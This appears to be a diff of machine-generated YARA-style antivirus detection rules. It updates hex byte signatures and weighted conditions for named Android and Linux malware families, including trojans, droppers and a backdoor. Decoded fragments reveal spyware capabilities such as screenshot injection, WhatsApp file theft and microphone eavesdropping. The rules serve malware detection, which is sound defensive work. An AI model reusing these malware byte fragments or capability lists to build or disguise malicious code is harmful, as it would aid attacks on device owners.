21 " @@ -276294,27 +292454,15 @@ rule _InfrastructureShared_20966{ $a_54_0 = {3a 55 50 58 5f 45 4c 46 5f 43 4f 44 45 00 01 00 29 01 50 52 e8 91 02 00 00 55 53 51 52 48 01 fe 56 48 29 fe 48 89 fe 48 89 d7 31 db 31 c9 48 83 cd ff e8 50 00 00 00 01 db 74 02 01 00 29 01 50 52 e8 9d 02 00 00 55 53 51 52 48 01 fe 56 48 29 fe 48 89 } //18467 $a_d7_1 = {db 31 c9 48 83 cd ff e8 50 00 00 00 01 db 74 02 01 00 26 01 50 52 e8 99 02 00 00 55 53 51 52 48 01 fe 56 48 89 fe 48 89 d7 31 db 31 c9 48 83 cd ff e8 50 00 00 00 01 db 74 02 01 00 26 01 50 52 e8 d7 02 00 00 55 53 51 52 48 01 fe 56 48 89 fe 48 89 d7 31 db 31 c9 48 83 cd ff e8 50 00 00 00 01 db 74 02 01 00 26 01 50 52 e8 c8 02 00 00 55 53 51 52 48 01 fe 56 48 89 fe 48 89 d7 31 db 31 c9 48 83 cd ff e8 50 00 00 } //18686 $a_74_2 = {01 00 24 01 e8 7b 02 00 00 55 53 51 52 48 01 fe 56 48 89 fe 48 89 d7 31 db 31 c9 48 83 cd ff e8 50 00 00 00 01 db 74 02 01 00 28 01 50 e8 ae 02 00 00 eb 0e 5a 58 59 97 60 8a 54 24 20 e9 11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 50 e8 a9 02 00 00 eb 0e 5a 58 59 97 60 8a 54 24 20 e9 11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 50 e8 e0 02 00 00 eb 0e 5a 58 59 97 60 8a 54 24 20 e9 11 01 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0e 90 90 90 90 01 00 28 01 e8 33 02 00 00 60 8b 74 24 24 8b 7c 24 2c 83 cd ff eb 0f 90 90 90 90 90 8a 06 46 88 07 47 01 db 75 07 8b 1e 83 ee fc 11 00 00 8c } //256 - $a_54_5 = {4c 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 54 21 4d } //8448 L:TrojanDropper:AndroidOS/SAgnt.T!M - $a_37_7 = {6a } //30464 j - $a_73_8 = {50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 30 00 5f 5f 73 74 72 63 61 74 5f 63 68 6b 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 31 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 33 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6f 31 00 5f 5a 4e 37 } //27747 - $a_49_9 = {6e 76 32 30 43 61 6c 6c 53 01 00 96 01 e5 93 fd 8a 6f c6 fe 8a 6f c6 da 8a 6f c6 3d 8b 6f c6 7c 14 b7 a7 78 0c de e5 3e 8b 6f c6 3f 8b 6f c6 d4 d6 b4 c6 32 91 45 0b 16 5b 0b 71 00 fe 5d c2 3f 8b 6f c6 4e 92 22 e1 6c e6 60 94 40 8b 6f } //19039 + $a_41_5 = {46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 57 65 6c 6c 4d 61 69 6c 2e 42 21 64 68 61 00 04 00 } //8448 + $a_3a_6 = {53 65 72 90 01 01 65 72 2f 4d 61 69 6c 2f 41 70 70 5f 44 61 74 61 2f 54 65 90 01 01 70 2f 47 2f 31 32 2f 73 72 63 2f 6d 61 69 6c 67 90 01 01 72 62 61 67 65 2f 6d 61 69 6c 73 65 72 76 65 72 2e 67 6f 00 } //841 + $a_43_8 = {5c 53 65 } //14848 \Se + $a_01_9 = {65 } //-28558 e condition: - ((#a_54_0 & 1)*18467+(#a_d7_1 & 1)*18686+(#a_74_2 & 1)*256+(#a_54_5 & 1)*8448+(#a_37_7 & 1)*30464+(#a_73_8 & 1)*27747+(#a_49_9 & 1)*19039) >=1 + ((#a_54_0 & 1)*18467+(#a_d7_1 & 1)*18686+(#a_74_2 & 1)*256+(#a_41_5 & 1)*8448+(#a_3a_6 & 1)*841+(#a_43_8 & 1)*14848+(#a_01_9 & 1)*-28558) >=1 } -rule _InfrastructureShared_20967{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 54 21 4d 54 42 00 02 00 77 01 37 5f 6a 63 6c 61 73 73 50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b } //21539 - $a_5f_1 = {30 00 5f 5f 73 74 72 63 61 74 5f 63 68 6b 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 31 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 33 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6b 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6f 31 00 5f 5a 4e 37 5f 4a 4e 49 45 6e 76 32 30 43 61 6c 6c 53 01 00 96 01 e5 93 fd 8a 6f c6 fe 8a 6f c6 da 8a 6f c6 3d 8b 6f c6 7c 14 b7 a7 78 0c de e5 3e 8b 6f c6 3f 8b 6f } //30559 - $a_b4_2 = {32 91 45 0b 16 5b 0b 71 00 fe 5d c2 3f 8b 6f c6 4e 92 22 e1 6c e6 60 94 40 8b 6f c6 39 8b 6f c6 ce 2e fc 37 fa 8a 6f c6 80 8b 6f c6 b0 0b b8 0c c6 ff 28 fd 40 8b 6f c6 e3 23 82 8e d4 47 78 91 ce d6 87 0a fd 8a 6f c6 00 5f 5f 63 78 61 5f 66 69 6e 61 6c 69 7a 65 00 5f 5f 63 78 61 5f 61 74 65 78 69 74 00 5f 5f 72 65 67 69 73 74 65 72 5f 01 00 82 01 6f 64 45 50 37 5f 6a 63 6c 61 73 73 50 31 30 5f 6a 6d 65 74 68 6f 64 49 44 7a 00 4a 61 76 61 5f 6b 5f 77 7a 5f 68 73 00 4a 61 76 61 5f 6b 5f 77 7a 5f 68 73 32 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6d 30 00 66 6f 70 65 6e 00 66 77 72 69 74 65 00 66 63 6c 6f 73 65 00 4a 61 76 61 5f 6b 5f 77 7a 5f 6d } //-11066 - condition: - ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*30559+(#a_b4_2 & 1)*-11066) >=4 - -} -rule _InfrastructureShared_20968{ +rule _InfrastructureShared_22239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 0e 00 21 " @@ -276323,19 +292471,37 @@ rule _InfrastructureShared_20968{ $a_69_1 = {67 90 01 01 72 62 61 67 65 2f 6d 61 69 6c 73 65 72 76 65 72 2e 67 6f 00 00 90 00 04 00 3a 03 43 3a 5c 53 65 72 90 01 01 65 72 5c 4d 61 69 6c 5c 41 70 70 5f 44 61 74 61 5c 54 65 90 01 01 70 5c 47 5c 31 32 5c 73 72 63 5c 6d 61 69 6c 67 61 90 01 01 62 61 67 65 00 90 00 01 00 15 03 6d 61 69 6e } //27951 $a_67_2 = {65 71 90 01 01 65 73 74 00 00 90 00 01 00 16 03 6d 61 69 6e 2e 6f 70 65 6e 4c 90 01 01 67 46 69 6c 65 00 00 90 00 01 00 13 03 6d 61 69 6e 2e 72 65 61 64 46 90 01 01 6c 65 00 00 90 00 01 00 13 03 6d 61 69 6e 2e 73 61 76 65 44 90 01 01 74 61 00 00 90 00 01 00 0f 03 6d 61 69 6e 2e 73 70 90 01 01 6d 00 00 90 00 01 00 15 03 6d 61 69 6e } //27694 $a_6c_3 = {74 90 01 01 6d 61 69 6c 00 00 90 00 01 00 10 03 6d 61 69 6e 2e 66 69 90 01 01 73 74 00 00 90 00 01 00 12 03 6d 61 69 6e 2e 73 6d 77 72 90 01 01 6e 67 00 00 90 00 01 00 15 03 6d 61 69 6e 2e 67 65 74 6e 65 77 90 01 01 61 69 6c 00 00 90 00 01 00 13 03 6d 61 69 6e 2e 73 61 76 90 01 01 6d 61 69 6c 00 00 90 } //25646 - $a_6e_5 = {67 65 74 90 01 01 63 72 69 70 74 00 00 90 00 01 00 12 03 6d 61 69 6e 2e 67 65 74 6d 90 01 01 69 6c 00 00 90 00 00 00 8c e6 01 00 03 00 03 00 0d 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 54 6f 70 42 61 63 6b 41 67 65 6e 74 2e 42 21 64 68 61 00 03 00 17 01 2f 67 69 74 6c 61 62 2e 68 65 61 } //24941 - $a_64_6 = {61 69 6c 2e 69 6f 2f 02 00 25 01 2f 6d 6f 62 69 6c 65 2f 73 72 63 2f 55 74 69 6c 73 2f 43 6f 6d 6d 6f 6e 55 74 69 6c 73 2f 4c 6f 67 2e 68 70 70 01 00 14 01 43 6f 6d 6d 61 6e 64 52 65 71 75 65 73 74 2e 70 72 6f 74 6f 01 00 1d 01 46 61 69 6c 65 64 54 6f 49 6e 6a 65 63 74 53 63 72 65 65 6e 73 68 6f 74 44 79 6c 69 62 01 00 1f 01 46 } //24932 - $a_65_7 = {54 6f 41 64 64 57 68 61 74 73 61 70 70 46 69 6c 65 73 54 6f 50 72 6f 74 6f 01 00 1f 01 41 70 70 6c 69 63 61 74 69 6f 6e 52 75 6e 42 65 66 6f 72 65 49 6e 69 74 69 61 6c 69 7a 65 64 01 00 20 01 46 61 69 6c 65 64 54 6f 4f 62 74 61 69 6e 53 63 72 65 65 6e 73 68 6f 74 49 6e 6a 65 63 74 6f 72 01 00 28 01 43 6f 6d 6d 75 6e 69 63 } //26977 - $a_6f_8 = {50 72 6f 74 6f 63 6f 6c 2e 43 6f 6d 6d 61 6e 64 2e 53 75 62 43 6f 6d 6d 61 6e 64 01 00 20 01 45 41 56 45 53 44 52 4f 50 50 49 4e 47 5f 57 41 52 4e 49 4e 47 5f 4d 49 43 5f 49 4e 5f 55 53 45 01 00 1c 01 50 72 6f 64 75 63 74 73 2f 53 63 72 65 65 6e 73 68 6f 74 2f 61 6e 64 72 6f 69 64 2f 01 00 21 01 49 6e 6a 65 63 74 } //29793 - $a_20_9 = {6e 74 72 79 20 69 6e 74 65 72 66 61 63 65 20 69 6e 76 61 6c 69 64 01 00 0f 01 41 70 70 43 61 6c 6c 52 65 63 6f 72 64 65 72 01 00 22 01 52 65 63 6f 72 64 69 6e 67 41 75 64 69 6f 53 65 73 73 69 6f 6e 20 69 6e 74 65 72 72 75 70 74 69 6f 6e 00 00 8c 03 02 00 f9 01 f9 01 0c 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 4c 69 6e } //28521 - $a_47_10 = {61 70 68 65 72 2e 41 21 64 68 61 00 64 00 10 01 73 68 65 70 68 65 72 64 2f 63 6d 64 2f 63 6c 69 64 00 28 01 67 69 74 68 75 62 2e 63 6f 6d 2f } //30837 - $a_72_11 = {73 6f 66 74 67 72 61 70 68 2f 6d 73 67 72 61 70 68 2d 73 64 6b 2d 67 6f 64 00 32 01 67 69 74 68 75 62 2e 63 6f 6d 2f 6d 69 63 72 6f 73 6f 66 74 2f 6b 69 6f 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 2d 61 7a 75 72 65 2d 67 6f 64 00 3a 01 67 69 74 68 75 62 2e 63 6f 6d 2f 41 7a 75 72 65 41 } //26989 - $a_69_12 = {72 6f 73 6f 66 74 2d 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 2d 6c 69 62 72 61 72 79 2d 66 6f 72 2d 67 6f 64 00 2c 01 67 69 74 68 75 62 2e 63 6f 6d 2f 41 7a 75 72 65 2f 61 7a 75 72 65 2d 73 64 6b 2d 66 6f 72 2d 67 6f 2f 73 64 6b 2f 61 7a 63 6f 72 65 01 00 16 01 67 69 74 68 75 62 2e 63 6f 6d 2f 73 70 66 31 33 2f 63 6f 62 72 } //12100 + $a_6e_5 = {67 65 74 90 01 01 63 72 69 70 74 00 00 90 00 01 00 12 03 6d 61 69 6e 2e 67 65 74 6d 90 01 01 69 6c 00 00 90 00 00 00 8c dd 01 00 1e 00 1e 00 13 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 6f 6f 73 65 42 65 65 2e 41 21 64 68 61 00 14 00 20 01 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 } //24941 + $a_59_6 = {f0 ad d4 a2 af 9c a4 72 c0 0a 00 34 01 49 6e 69 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 0a 00 13 01 00 73 74 72 63 6d 70 00 49 6e 69 74 00 64 6c 73 79 6d 00 01 00 0b 01 6c 69 62 62 6c 6b 69 64 2e 73 6f 01 00 1d 01 62 6c 6b 69 64 5f 6e 65 77 5f 70 72 6f 62 65 5f 66 72 6f 6d 5f 66 69 6c 65 6e 61 6d 65 01 00 12 01 62 6c 6b 69 64 5f 64 6f 5f 73 61 66 65 70 72 6f 62 65 01 00 18 01 62 6c 6b 69 64 5f 70 72 6f 62 65 5f 6c 6f 6f 6b 75 70 5f 76 61 6c 75 65 01 00 10 01 62 6c 6b 69 64 5f 66 72 65 65 5f 70 72 6f 62 65 01 00 0f 01 62 6c 6b 69 64 5f 67 65 74 5f 63 61 63 68 65 01 00 0d 01 62 6c 6b 69 64 5f 67 65 74 5f 64 65 76 01 00 0f 01 62 6c 6b 69 } //32201 + $a_75_7 = {5f 63 61 63 68 65 01 00 17 01 62 6c 6b 69 64 5f 74 61 67 5f 69 74 65 72 61 74 65 5f 62 65 67 69 6e 01 00 0e 01 62 6c 6b 69 64 5f 74 61 67 5f 6e 65 78 74 01 00 11 01 62 6c 6b 69 64 5f 64 65 76 5f 64 65 76 6e 61 6d 65 01 00 15 01 62 6c 6b 69 64 5f 74 61 67 5f 69 74 65 72 61 74 65 5f 65 6e 64 01 00 0a 01 00 2f 64 65 76 2f 73 64 61 00 01 } //24420 + $a_00_8 = {55 } //1536 U + $a_00_9 = {01 00 0d 01 2f 64 65 76 2f 6e 76 6d 65 30 6e 31 70 01 00 0b 01 6c 69 62 67 63 63 5f 73 2e 73 6f 00 00 8c e6 01 00 03 00 03 00 0d 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 41 6e 64 72 6f 69 64 2f 54 6f } //18773 + $a_63_10 = {41 67 65 6e 74 2e 42 21 64 68 61 00 03 00 17 01 2f 67 69 74 6c 61 62 2e 68 65 61 64 61 6e 64 74 61 69 6c 2e 69 6f 2f 02 00 25 01 2f 6d 6f 62 69 6c 65 2f 73 72 63 2f 55 74 69 6c 73 2f 43 6f 6d 6d 6f 6e 55 74 69 6c 73 2f 4c 6f 67 2e 68 70 70 01 00 14 01 43 6f 6d 6d 61 6e 64 52 65 71 75 65 73 } //17008 + $a_72_11 = {74 6f 01 00 1d 01 46 61 69 6c 65 64 54 6f 49 6e 6a 65 63 74 53 63 72 65 65 6e 73 68 6f 74 44 79 6c 69 62 01 00 1f 01 46 61 69 6c 65 64 54 6f 41 64 64 57 68 61 74 73 61 70 70 46 69 6c 65 73 54 6f 50 72 6f 74 6f 01 00 1f 01 41 70 70 6c 69 63 61 74 69 6f 6e 52 75 6e 42 65 66 6f 72 65 49 6e 69 74 69 61 6c 69 7a 65 64 01 00 20 01 46 61 69 } //11892 + $a_54_12 = {4f 62 74 61 69 6e 53 63 72 65 65 6e 73 68 6f 74 49 6e 6a 65 63 74 6f 72 01 00 28 01 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 50 72 6f 74 6f 63 6f 6c 2e 43 6f 6d 6d 61 6e 64 2e 53 75 62 43 6f 6d 6d 61 6e 64 01 00 20 01 45 41 56 45 53 44 52 4f 50 50 49 4e 47 5f 57 41 52 4e 49 4e 47 5f 4d 49 43 5f 49 4e } //25964 + $a_45_13 = {00 1c 01 50 72 6f 64 75 63 74 73 2f 53 63 72 65 65 6e 73 68 6f 74 2f 61 6e 64 72 6f 69 64 2f 01 00 21 01 49 6e 6a 65 63 74 69 6f 6e 20 65 6e 74 72 79 20 69 6e 74 65 72 66 61 63 65 20 69 6e 76 61 6c 69 64 01 00 0f 01 41 70 70 43 61 6c 6c 52 65 63 6f } //21855 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27951+(#a_67_2 & 1)*27694+(#a_6c_3 & 1)*25646+(#a_6e_5 & 1)*24941+(#a_64_6 & 1)*24932+(#a_65_7 & 1)*26977+(#a_6f_8 & 1)*29793+(#a_20_9 & 1)*28521+(#a_47_10 & 1)*30837+(#a_72_11 & 1)*26989+(#a_69_12 & 1)*12100) >=4 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*27951+(#a_67_2 & 1)*27694+(#a_6c_3 & 1)*25646+(#a_6e_5 & 1)*24941+(#a_59_6 & 1)*32201+(#a_75_7 & 1)*24420+(#a_00_8 & 1)*1536+(#a_00_9 & 1)*18773+(#a_63_10 & 1)*17008+(#a_72_11 & 1)*11892+(#a_54_12 & 1)*25964+(#a_45_13 & 1)*21855) >=4 } -rule _InfrastructureShared_20969{ +rule _InfrastructureShared_22240{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,1e 00 1e 00 13 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4c 6f 6f 73 65 42 65 65 2e 41 21 64 68 61 00 14 00 20 01 63 7c 77 7b f2 6b 6f c5 30 01 67 2b fe d7 ab 76 ca 82 c9 7d fa 59 47 f0 ad d4 a2 af 9c a4 72 c0 0a 00 34 01 49 6e 69 74 00 00 00 00 } //16675 + $a_01_12 = {00 73 74 72 63 6d 70 00 49 6e 69 74 00 64 6c 73 79 6d 00 } //10 + $a_01_13 = {6c 69 62 62 6c 6b 69 64 2e 73 6f } //1 libblkid.so + $a_01_14 = {62 6c 6b 69 64 5f 6e 65 77 5f 70 72 6f 62 65 5f 66 72 6f 6d 5f 66 69 6c 65 6e 61 6d 65 } //1 blkid_new_probe_from_filename + $a_01_15 = {62 6c 6b 69 64 5f 64 6f 5f 73 61 66 65 70 72 6f 62 65 } //1 blkid_do_safeprobe + $a_01_16 = {62 6c 6b 69 64 5f 70 72 6f 62 65 5f 6c 6f 6f 6b 75 70 5f 76 61 6c 75 65 } //1 blkid_probe_lookup_value + $a_01_17 = {62 6c 6b 69 64 5f 66 72 65 65 5f 70 72 6f 62 65 } //1 blkid_free_probe + $a_01_18 = {62 6c 6b 69 64 5f 67 65 74 5f 63 61 63 68 65 } //1 blkid_get_cache + condition: + ((#a_46_0 & 1)*16675+(#a_01_12 & 1)*10+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1) >=30 + +} +rule _InfrastructureShared_22241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 0d 00 21 " @@ -276357,7 +292523,7 @@ rule _InfrastructureShared_20969{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*12131+(#a_64_2 & 1)*27753+(#a_6e_3 & 1)*28013+(#a_20_4 & 1)*29300+(#a_01_5 & 1)*100+(#a_01_6 & 1)*100+(#a_01_7 & 1)*100+(#a_01_8 & 1)*100+(#a_01_9 & 1)*100+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=3 } -rule _InfrastructureShared_20970{ +rule _InfrastructureShared_22242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,fffffff9 01 fffffff9 01 0c 00 21 " @@ -276372,13 +292538,13 @@ rule _InfrastructureShared_20970{ $a_2e_7 = {65 79 53 69 7a 65 45 72 72 6f 72 2c 65 72 72 6f 72 90 00 01 00 17 03 62 6f 74 6c 90 01 01 62 2e 73 6b 65 79 74 61 62 6c 65 00 67 6f 90 00 01 00 17 03 62 6f 74 6c 90 01 01 62 2e 69 6e 69 74 64 6f 6e 65 2e 00 67 6f 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 73 74 61 74 69 63 74 6d 70 5f 90 02 } //257 $a_72_8 = {70 74 6f 90 00 01 00 10 03 62 6f 74 6c 90 01 01 62 2e 48 61 73 68 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 53 79 6d 6d 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 4d 61 78 54 69 6d 65 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 4d 69 6e 54 69 6d 65 00 90 00 01 00 0f 03 62 } //3 $a_90_9 = {01 62 2e 55 72 6c 00 90 00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 50 72 6f 78 79 00 90 00 01 00 15 03 62 6f 74 6c 90 01 01 62 2e 55 73 65 72 41 67 65 6e 74 00 90 00 01 00 17 03 62 6f 74 6c 90 01 01 62 2e 4d 61 78 50 6f 73 74 53 69 7a 65 00 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 52 43 36 00 90 00 01 00 16 03 } //29807 - $a_6c_10 = {01 01 62 2e 53 65 72 76 65 72 54 79 70 65 00 90 00 01 00 14 03 62 6f 74 6c 90 01 01 62 2e 49 6e 74 65 72 76 61 6c 00 90 00 00 00 8c 26 02 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 52 21 4d 54 42 00 02 00 68 01 14 c1 04 91 e0 03 14 aa b5 a3 02 d1 ea 69 fe 97 40 } //28514 - $a_e1_11 = {14 aa 0f 68 fe 97 b8 db 36 a9 b7 e7 35 a9 a1 02 40 ad a0 23 02 d1 e2 03 03 91 e1 03 13 aa e1 03 06 ad 1b 69 fe 97 a0 83 57 f8 fd 68 fe 97 c0 00 00 90 00 80 08 91 e1 03 1f 2a e2 03 1f 2a b4 6b fe 97 a2 83 57 f8 c1 00 00 90 21 50 09 91 40 00 80 52 } //-32767 + $a_6c_10 = {01 01 62 2e 53 65 72 76 65 72 54 79 70 65 00 90 00 01 00 14 03 62 6f 74 6c 90 01 01 62 2e 49 6e 74 65 72 76 61 6c 00 90 00 00 00 8c 3b 02 00 03 00 03 00 14 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4c 69 6e 75 78 2f 41 6c 70 61 63 61 47 61 74 65 2e 41 21 64 68 61 00 01 00 1b 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 69 6e 70 75 74 } //28514 + $a_6c_11 = {00 01 00 1c 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 6f 75 74 70 75 74 20 66 69 6c 65 00 01 00 19 01 00 46 61 69 6c 65 64 20 74 6f 20 6f 70 65 6e 20 45 4c 46 20 66 69 6c 65 00 01 00 15 01 73 73 6c 2e 65 6e 67 69 6e 65 20 3d 20 22 65 6e 61 62 6c 65 22 01 00 10 01 4d 44 35 20 75 70 64 61 74 65 20 45 72 72 } //26144 condition: - ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28769+(#a_69_2 & 1)*28261+(#a_2d_3 & 1)*26415+(#a_6c_4 & 1)*27769+(#a_6e_5 & 1)*19514+(#a_62_6 & 1)*11874+(#a_2e_7 & 1)*257+(#a_72_8 & 1)*3+(#a_90_9 & 1)*29807+(#a_6c_10 & 1)*28514+(#a_e1_11 & 1)*-32767) >=505 + ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*28769+(#a_69_2 & 1)*28261+(#a_2d_3 & 1)*26415+(#a_6c_4 & 1)*27769+(#a_6e_5 & 1)*19514+(#a_62_6 & 1)*11874+(#a_2e_7 & 1)*257+(#a_72_8 & 1)*3+(#a_90_9 & 1)*29807+(#a_6c_10 & 1)*28514+(#a_6c_11 & 1)*26144) >=505 } -rule _InfrastructureShared_20971{ +rule _InfrastructureShared_22243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 12 00 21 " @@ -276387,38 +292553,51 @@ rule _InfrastructureShared_20971{ $a_63_1 = {6d 70 5f 90 02 03 00 62 6f 74 6c 90 01 01 62 2e 73 74 61 74 69 63 74 6d 70 5f 90 00 01 00 24 03 67 6f 2e 69 74 61 62 2e 2a 62 6f 74 6c 90 01 01 62 2e 72 63 36 63 69 70 68 65 72 2c 63 72 79 70 74 6f 90 00 01 00 25 03 67 6f 2e 69 74 61 62 2e 62 6f 74 6c 90 01 01 62 2e 4b 65 79 53 69 7a 65 45 72 72 6f 72 2c 65 72 72 } //29793 $a_00_2 = {01 00 17 03 62 6f 74 6c 90 01 01 62 2e 73 6b 65 79 74 61 62 6c 65 00 67 6f 90 00 01 00 17 03 62 6f 74 6c 90 01 01 62 2e 69 6e 69 74 64 6f 6e 65 2e 00 67 6f 90 00 01 00 1f 03 62 6f 74 6c 90 01 01 62 2e 73 74 61 74 69 63 74 6d 70 5f 90 02 03 00 63 72 79 70 74 6f 90 00 01 00 10 03 62 6f 74 6c 90 01 01 62 2e 48 61 73 68 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 53 79 6d 6d 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 } //29295 $a_78_3 = {69 6d 65 00 90 00 01 00 13 03 62 6f 74 6c 90 01 01 62 2e 4d 69 6e 54 69 6d 65 00 90 00 01 00 0f 03 62 6f 74 6c 90 01 01 62 2e 55 72 6c 00 90 00 01 00 11 03 62 6f 74 6c 90 01 01 62 2e 50 72 6f 78 79 00 90 00 01 00 15 03 62 6f 74 6c 90 01 01 62 2e 55 73 65 72 41 67 65 6e 74 00 90 00 01 00 17 } //19758 - $a_74_4 = {90 01 01 62 2e 4d 61 78 50 6f 73 74 53 69 7a 65 00 90 00 01 00 12 03 62 6f 74 6c 90 01 01 62 2e 4b 65 79 52 43 36 00 90 00 01 00 16 03 62 6f 74 6c 90 01 01 62 2e 53 65 72 76 65 72 54 79 70 65 00 90 00 01 00 14 03 62 6f 74 6c 90 01 01 62 2e 49 6e 74 65 72 76 61 6c 00 90 00 00 00 8c 26 02 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 } //25091 - $a_6e_5 = {72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 52 21 4d 54 42 00 02 00 68 01 14 c1 04 91 e0 03 14 aa b5 a3 02 d1 ea 69 fe 97 40 01 80 52 e1 03 14 aa 0f 68 fe 97 b8 db 36 a9 b7 e7 35 a9 a1 02 40 ad a0 23 02 d1 e2 03 03 91 e1 03 13 aa e1 03 06 ad 1b 69 fe 97 a0 83 57 f8 } //27247 - $a_97_6 = {00 00 90 00 80 08 91 e1 03 1f 2a e2 03 1f 2a b4 6b fe 97 a2 83 57 f8 c1 00 00 90 21 50 09 91 40 00 80 52 02 00 d7 01 c6 10 63 f7 5d d3 5d ab 6c d4 5d ab 6c 1f 55 0a 4e d7 5d ab 6c 06 10 db 23 ac 92 cb 41 d7 5d ab 6c 30 12 54 b7 f4 88 ab f4 d8 5d ab 6c 7f bc c0 2b d8 5d ab 6c a5 76 c9 48 40 bc 4d 6a dc 0d a6 78 8b 7f 97 9a fd bc 5e ea 4b 26 43 a6 19 f4 03 32 95 1d 22 73 44 d2 7e 2e 47 0b 1a 6c 53 5e 72 dd d5 4e 25 9e 45 bd 19 7b b1 56 11 93 ba 5b 8a b8 3f ce ed ea 4f 8c ee 75 35 76 e9 68 29 ac a6 40 66 23 2a 48 c5 35 f4 e1 1b c5 97 ca 33 bd 8c 66 f9 4c 0c a4 cb 3f 7b 81 17 62 b5 86 14 55 e1 5e df 2d e3 88 45 83 ae 78 14 b0 c6 f9 7d f3 83 9a 11 52 36 36 cd a8 87 f9 bf 3e bb 6f 35 56 cd f4 28 10 d3 7d ef 33 05 b0 f0 33 05 b0 12 89 9b 9d e9 9f b4 76 8e e3 } //26877 - $a_01_7 = {a0 64 f5 63 aa 62 73 d7 80 83 97 a3 40 c9 b5 16 2b 3d ee f0 95 47 01 81 f0 c1 43 18 2b 3d ee 4f 91 61 4b 1b 2b 3d ee 1a 2b 3d ee 2b 5e fd 56 73 19 b3 7b fe cd 2a 25 44 32 7a 70 97 8d a9 0f 8d c3 72 dc 21 2b 3d ee 23 2b 3d ee 40 66 02 88 54 74 e2 d4 3b 08 36 c1 6d 23 41 8d 7f 6c 90 b7 28 2b 3d ee 47 b4 33 dc e3 c4 e6 c5 f0 da 10 18 2d 2b 3d ee 2e 2b 3d ee 09 27 eb b2 } //1 - $a_01_8 = {30 00 31 00 33 00 35 00 37 00 6b 00 54 00 44 00 46 00 58 00 57 00 55 00 48 00 4a 00 50 00 3b 00 4b 00 23 00 6a 00 51 00 47 00 } //1 01357kTDFXWUHJP;K#jQG - $a_4a_9 = {00 04 00 04 00 11 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 54 69 6b 50 72 6f 62 65 2e 41 21 64 68 61 00 02 00 0a 01 43 48 4e 47 44 4d 4b 52 54 4b 02 00 1d 03 2f 75 73 65 72 90 01 01 73 65 74 90 01 01 30 90 